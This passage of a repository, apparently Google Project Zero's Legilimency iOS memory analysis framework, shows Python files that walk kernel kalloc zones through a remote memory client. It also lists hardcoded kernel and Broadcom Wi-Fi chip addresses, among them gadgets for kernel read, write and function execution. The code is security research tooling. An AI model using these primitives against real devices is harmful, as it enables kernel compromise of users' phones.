distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | BIN_PATH=/path/to/your/gcc-arm-none-eabi/bin 20 | $BIN_PATH/arm-none-eabi-as chunk.S -o chunk.o 21 | $BIN_PATH/arm-none-eabi-objcopy -O binary chunk.o chunk.bin 22 | $BIN_PATH/arm-none-eabi-objdump -D chunk.o 23 | -------------------------------------------------------------------------------- /defs.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | #iOS 10 uses 16KB pages 20 | PAGE_SIZE = 0x4000 21 | 22 | #Size of a DWORD 23 | DWORD_SIZE = 4 24 | 25 | #Size of a QWORD 26 | QWORD_SIZE = 8 27 | 28 | #The width, in bytes, of a THUMB2 instruction 29 | THUMB2_INST_WIDTH = 4 30 | 31 | #The number of copied preamble bytes from the hooked function's header 32 | HOOK_PREAMBLE_BYTES = 6 33 | 34 | #The default port used by the server 35 | DEFAULT_PORT = 1337 36 | 37 | #A 32-bit garbage value 38 | GARBAGE_VALUE = 0xCCCCCCCC 39 | -------------------------------------------------------------------------------- /kalloc.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | import struct 20 | from bisect import bisect 21 | from MemClient import MemClient 22 | from defs import * 23 | from symbols import * 24 | 25 | 26 | #The offsets of fields within zone_page_metadata (see zalloc.c) 27 | OFF_OFFSET = 16 28 | META_OFFSET = 20 29 | ZONE_PAGE_METADATA_SIZE = 24 30 | 31 | #The offsets of the fields within zone_t (see zalloc.h) 32 | INTERMEDIATE_QUEUE_OFFSET = 40 33 | ALL_USED_QUEUE_OFFSET = 56 34 | 35 | #The kalloc zone sizes 36 | KALLOC_ZONE_SIZES = [0x10, 37 | 0x20, 38 | 0x30, 39 | 0x40, 40 | 0x50, 41 | 0x60, 42 | 0x80, 43 | 0xA0, 44 | 0xC0, 45 | 0x100, 46 | 0x120, 47 | 0x200, 48 | 0x240, 49 | 0x400, 50 | 0x480, 51 | 0x500, 52 | 0x800, 53 | 0x1000, 54 | 0x2000, 55 | 0x4000, 56 | 0x8000] 57 | 58 | def create_zone_queue_allocation_generator(client, zone_queue, zone_alloc_size): 59 | """ 60 | Creates a generator over the allocations in the given zone queue. 61 | This can be used to iterate over each allocation in the zone. 62 | """ 63 | 64 | #Finding the zone-related bounds 65 | zone_map_min = client.read64(ZONE_MAP_MIN_ADDRESS + client.slide()) 66 | zone_meta_min = client.read64(ZONE_METADATA_REGION_MIN + client.slide()) 67 | print "zone_map_min: %016X" % zone_map_min 68 | print "zone_meta_min: %016X" % zone_meta_min 69 | 70 | #Going over each metadata entry 71 | curr = zone_queue 72 | while True: 73 | 74 | #Printing some information about the current node 75 | off = client.read32(curr + OFF_OFFSET) 76 | meta = client.read32(curr + META_OFFSET) 77 | free_count, zindex, page_count = struct.unpack("= zone_meta_min: 86 | print "metadata 0x%016X not within zone_meta ranges!" % curr 87 | 88 | #Going over each page associated with zone in the zone_map 89 | #and emitting each allocation block in our generator 90 | meta_idx = (curr - zone_meta_min) / ZONE_PAGE_METADATA_SIZE 91 | print "meta_idx: %d" % meta_idx 92 | start_addr = zone_map_min + meta_idx * PAGE_SIZE 93 | end_addr = start_addr + page_count * PAGE_SIZE 94 | for addr in range(start_addr, end_addr, zone_alloc_size): 95 | yield addr 96 | 97 | #Going to the next node in the queue 98 | curr = client.read64(curr) 99 | if curr == zone_queue: 100 | break #Looped back to the start - let's stop 101 | 102 | def find_object_by_vtable(client, vtable, allocation_size=None, find_all=False): 103 | """ 104 | Find an object with the given vtable in the kalloc zones. If the allocation size 105 | is specified, only the relevant kalloc zone is queried. If find_all is specified, 106 | a list of all instances of such objects are returned. 107 | 108 | If no matching instances are found, None is returned. 109 | """ 110 | 111 | #Do we have the allocation size? 112 | zones = [] 113 | if allocation_size: 114 | zone_idx = bisect(KALLOC_ZONE_SIZES, allocation_size) 115 | zones.append((client.read64(K_ZONE + client.slide() + zone_idx*QWORD_SIZE), KALLOC_ZONE_SIZES[zone_idx])) 116 | else: 117 | for zone_idx in range(0, len(KALLOC_ZONE_SIZES)): 118 | zones.append((client.read64(K_ZONE + client.slide() + zone_idx*QWORD_SIZE), KALLOC_ZONE_SIZES[zone_idx])) 119 | 120 | #For each zone, create a generator over the zone 121 | results = [] 122 | for (zone, zone_allocation_size) in zones: 123 | 124 | #Gathering the relevant queues 125 | all_used_queue = zone + ALL_USED_QUEUE_OFFSET 126 | intermediate_queue = zone + INTERMEDIATE_QUEUE_OFFSET 127 | queues = [all_used_queue, intermediate_queue] 128 | 129 | #Going over each of the pages in the zone, either used or intermediate 130 | for queue in queues: 131 | for allocation in create_zone_queue_allocation_generator(client, queue, zone_allocation_size): 132 | if client.read64(allocation) == vtable: 133 | if not find_all: 134 | return allocation 135 | else: 136 | results.append(allocation) 137 | 138 | #Return the results 139 | return results if len(results) > 0 else None 140 | -------------------------------------------------------------------------------- /memshell.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | import socket, sys, struct, math, time 20 | 21 | from defs import * 22 | from symbols import * 23 | 24 | from MemClient import MemClient 25 | 26 | def main(): 27 | 28 | #Creating the needed clients 29 | print "Connecting..." 30 | client = MemClient(sys.argv[1], DEFAULT_PORT) 31 | print "Connected!" 32 | 33 | #Your code here... :-) 34 | 35 | if __name__ == "__main__": 36 | main() 37 | -------------------------------------------------------------------------------- /symbols.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | #----------------------------Kernel Symbols----------------------------# 20 | 21 | #The PCIe Object's VTable 22 | PCIE_OBJECT_VTABLE = 0xFFFFFFF006FD5B30 23 | 24 | #The bounds for the zone_map ranges 25 | ZONE_MAP_MIN_ADDRESS = 0xFFFFFFF00759A368 26 | ZONE_MAP_MAX_ADDRESS = 0xFFFFFFF00759A370 27 | 28 | #The bounds for the zone metadata regions 29 | ZONE_METADATA_REGION_MIN = 0xFFFFFFF00759A378 30 | ZONE_METADATA_REGION_MAX = 0xFFFFFFF00759A380 31 | 32 | #Pointer to the maximal size of a kalloc cache 33 | KALLOC_MAX_PREROUND = 0xFFFFFFF007582FE0 34 | 35 | #Pointer to the beginning of the zone array 36 | K_ZONE = 0xFFFFFFF007583170 37 | 38 | #Pointer to the array of zone sizes 39 | K_ZONE_SIZES = 0xFFFFFFF00700863C 40 | 41 | #The physical and virtual bases of the kernel 42 | G_PHYS_BASE = 0xFFFFFFF0075F6080 43 | G_VIRT_BASE = 0xFFFFFFF0075F6088 44 | 45 | #The pidhash field in the kernel 46 | PIDHASH = 0xFFFFFFF0075F0488 47 | 48 | #The pidhashtbl field in the kernel 49 | PIDHASHTBL = 0xFFFFFFF0075F0490 50 | 51 | #The address of the kernel's pmap structure 52 | KERNEL_PMAP = 0xFFFFFFF0075CE878 53 | 54 | #The address of the kernel's task_t structure 55 | KERNEL_TASK = 0xFFFFFFF0075F6050 56 | 57 | #The address of the kernproc structure 58 | KERNPROC = 0xFFFFFFF0075F60E0 59 | 60 | #The _current_task function 61 | CURRENT_TASK = 0xFFFFFFF00711AA84 62 | 63 | #The address of a "MOV X0, #0; BX LR;" gadget 64 | RET_ZERO = 0xFFFFFFF0070F013C 65 | 66 | #The address of a gadget used to execute a function in a vtable 67 | #and store its value relative to the object. Using this function 68 | #we can build an execute primitive that returns the value of the 69 | #executed function. 70 | EXEC_FUNCTION_GADGET = 0xFFFFFFF0065B8044 71 | 72 | #A junk address in the BSS which we slightly corrupt in various stages. 73 | #Randomly picked - seems not to have any adverse effects when written to. 74 | JUNK_ADDRESS = 0xFFFFFFF007587C50 75 | 76 | #A gadget used to write a 32-bit value: 77 | # STR W0, [X1] 78 | # RET 79 | WRITE_32BIT_GADGET = 0xFFFFFFF0063E43FC 80 | 81 | #A gadget used to read a 32-bit value: 82 | # LDR W8, [X0,#0xA4] 83 | # STR W8, [X1,#4] 84 | # RET 85 | READ_32BIT_GADGET = 0xFFFFFFF006D395D8 86 | 87 | #----------------------Broadcom Wi-Fi SoC Symbols----------------------# 88 | 89 | #The D2H DMA object's address. 90 | D2H_OBJ_ADDR = 0x1F6810 91 | 92 | #The address of the heap's freelist. 93 | FREELIST_ADDR = 0x16C954 94 | 95 | #The adderss of an "unoccupied" location into which the hook in written. 96 | HOOK_ADDRESS = 0x210900 97 | 98 | #The dma64_txfast function 99 | DMA_FUNC = 0x16E5C0 100 | 101 | #The IOCTL function 102 | IOCTL_FUNC = 0x181420 103 | 104 | #The address of the RRM context object 105 | RRM_CTX = 0x20ADE8 106 | 107 | #Pointer to the list of disallowed heap ranges (verified in the "free" function) 108 | DISALLOWED_HEAP_RANGES_PTR = 0x1B8488 109 | 110 | #The location of the DWORD denoting the number of allowed heap ranges 111 | ALLOWED_HEAP_RANGES_COUNT_PTR = 0x1B84D0 112 | 113 | #The address of the allowed heap ranges array 114 | ALLOWED_HEAP_RANGES_ARRAY_ADDR = 0x1B8490 115 | 116 | #Address of the log status array (indicating which ELxx logs are printed to the console) 117 | LOG_STATUS_ARRAY_PTR = 0x1609E4 118 | 119 | #The "wl hc" function pointer address 120 | WL_HC_PTR = 0x2078B0 121 | --------------------------------------------------------------------------------